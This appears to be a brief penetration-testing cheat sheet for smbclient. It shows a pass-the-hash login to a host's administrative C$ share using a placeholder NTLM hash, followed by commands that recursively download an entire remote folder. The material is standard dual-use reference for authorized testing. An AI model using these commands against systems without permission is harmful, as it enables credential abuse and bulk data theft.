SMBClient Commands for Penetration Testing

Common smbclient commands for accessing SMB shares, including pass-the-hash.

smbclient is an FTP-like client for browsing and downloading from SMB shares. It also supports pass-the-hash, so you don’t need to crack a captured NTLM hash before using it.

1
# Connect to a share using pass-the-hash (no cleartext password needed)
2
smbclient //10.1.1.1/C$ -U "svc-account" --pw-nt-hash "00000000000000000000000000000000" -W domain.local -t 6000

Once connected, the following downloads a whole folder and all files inside it:

1
mask ""
2
recurse ON
3
prompt OFF
4
cd 'path\to\remote\dir'
5
lcd '~/path/to/download/to/'
6
mget *